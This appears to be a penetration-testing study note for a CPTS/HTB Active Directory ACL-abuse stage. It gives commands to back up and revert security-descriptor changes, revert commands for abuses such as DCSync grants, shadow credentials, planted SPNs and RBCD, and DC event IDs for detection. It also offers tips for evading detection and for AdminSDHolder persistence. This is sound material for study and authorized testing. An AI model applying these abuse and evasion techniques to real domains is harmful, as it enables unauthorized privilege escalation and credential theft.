Rule zero: snapshot the security descriptor BEFORE any write. Every revert below assumes you have the original.
# snapshot a target's SD (Impacket) — writes a .bak you can restore byte-for-byte
dacledit.py -action backup -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
dacledit.py -action restore -file dacledit-*.bak -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
# PowerShell snapshot (export the SDDL string)
(Get-DomainObjectAcl -Identity victim | ConvertTo-Json) | Out-File sd_backup.json
(Get-ADObject victim -Properties nTSecurityDescriptor).nTSecurityDescriptor.Sddl | Out-File sd_backup.txt
Revert table — every attack has an undo:
| Abuse performed | Revert command(s) |
|---|---|
| Owner changed | bloodyAD set owner victim <original> / owneredit.py -action write -new-owner <original> |
| GenericAll/DCSync granted | bloodyAD remove genericAll victim "$U" · remove dcsync "$U" · or dacledit.py -action restore |
| Shadow Credentials added | bloodyAD remove shadowCredentials victim / pywhisker.py --action remove --device-id <id> / Whisker.exe remove |
| SPN planted (roast) | bloodyAD set object victim servicePrincipalName (clear) / StandIn --remove spn |
| UAC flag flipped | bloodyAD remove uac victim -f <FLAG> |
| scriptPath set | bloodyAD set object victim scriptPath (clear) |
| Group membership added | bloodyAD remove groupMember <group> "$U" / net group … /del /domain |
| RBCD set | bloodyAD remove rbcd 'TARGET$' 'ATTACKER$' / rbcd.py -action flush + delete ATTACKER$ |
| Password reset | Cannot undo cryptographically — reset to an agreed value with the client; prefer shadow creds to avoid this entirely |
Event IDs to expect (DC security log):
| Event ID | Fires on | Which abuse |
|---|---|---|
| 4662 | Object access (replication GUIDs, attribute reads/writes) | DCSync, LAPS/gMSA reads (if SACL set) |
| 5136 | Directory object modified | DACL/owner changes, SPN/UAC/scriptPath/KeyCredential writes |
| 5137 | Directory object created | addcomputer.py / bloodyAD add computer |
| 4670 | Permissions changed | Owner/DACL edits (if audited) |
| 4724 | Password reset by admin/right | ForceChangePassword abuse |
| 4728 / 4732 / 4756 | Member added to global / local / universal group | AddMember abuse (DA = 4728) |
| 4738 | User account changed | UAC flips, password sets |
| 4768 / 4769 | TGT / TGS requests | Shadow-cred PKINIT, S4U chains, roast requests |
| 1644 | Expensive LDAP search | Noisy Find-InterestingDomainAcl-style sweeps |
[!warning] Reads quiet, writes loud — pick accordingly LAPS/gMSA reads and most
get object/findenumeration touch nothing durable and rarely trip SACLs. Every write above (5136/5137) is the detection surface. If two paths reach the same objective — e.g. GenericAll on a user — prefer shadow creds (one attribute write, reversible) over password reset (4724 + broken logon). Use-s(LDAPS) for bloodyAD writes so the change isn’t on the wire in cleartext.
[!tip] CPTS exam tips
- Re-enumerate after every group add — inherited rights (e.g. Service Accounts → GenericWrite over svc accounts) only appear on the next graph refresh; bloodyAD’s per-call auth picks them up live.
- RBCD is the exam’s favourite GenericAll-on-computer finish; if MAQ is 0, shadow-cred the machine account instead (no new object needed).
- Targeted Kerberoast needs no ADCS — when there’s no CA in scope, it’s your GenericWrite answer.
- If a “writable” edge fails with
insufficient access, check you’re hitting the right DC (use--host "$DC"FQDN) and that the edge isn’t stale — re-read with--resolve-sd.- Cross-links: Stage 05 — Kerberos Attacks (roast/AS-REP fundamentals) · Stage 07 — ADCS (shadow creds tail, ESC paths) · Stage 08 — Password Attacks (cracking the roasted hashes) · Stage 10 — Lateral Movement (spending DCSync output) · Stage — Domain Trusts (SIDHistory/foreign ACE edges).
🧭 Decision flow — edge in hand, what’s the quietest kill?
🎯 MITRE ATT&CK mapping
| Technique | ID | Where used here |
|---|---|---|
| Account Manipulation | T1098 | Group adds, UAC flips, SPN plants |
| — Additional Cloud/Domain Credentials | T1098.001 | Shadow Credentials (KeyCredentialLink) |
| Abuse Elevation Control Mechanism | T1548 | RBCD / delegation abuse (S4U) |
| DCSync | T1003.006 | DS-Replication rights abuse, secretsdump |
| Kerberoasting | T1558.003 | Targeted Kerberoast via GenericWrite |
| AS-REP Roasting | T1558.004 | DONT_REQ_PREAUTH flip |
| Steal or Forge Kerberos Tickets | T1558 | S4U2Self/Proxy ticket requests |
| Exploitation for Credential Access | T1212 | Password reset via ForceChangePassword |
| OS Credential Dumping | T1003 | LAPS/gMSA reads, post-DCSync |
| Account Discovery / Permission Groups | T1087 / T1069 | ACL enumeration (PowerView, BloodHound) |
| Modify Authentication Process (AdminSDHolder) | T1556 | AdminSDHolder backdoor persistence |
[!failure] Common pitfalls (burned boxes teach these)
- Forgot
-s/LDAPS → write visible on the wire; some DCs now require LDAPS for attribute writes (LDAP signing/channel binding enforcement).- Shadow creds against the IP, not FQDN → PKINIT fails; always
--host "$DC".- Cleaned the SPN before the TGS arrived → roast hash worthless. Request first, remove second.
- Added self to a group, then reused an old TGT → new rights not in the PAC. Purge and re-request.
- WriteOwner on an adminCount=1 object → SDProp reverts your DACL grant in ≤60 min; move fast or go AdminSDHolder.
- Left
ATTACKER$behind → 4741/5137 + an obvious machine account; delete it.- Trusted the graph blindly → edge was stale; always
--resolve-sdbefore the write.
[!navigation] Continue the attack flow Previous: Stage 05 — Kerberos Attacks
Dashboard: HTB Pentest Attack Flow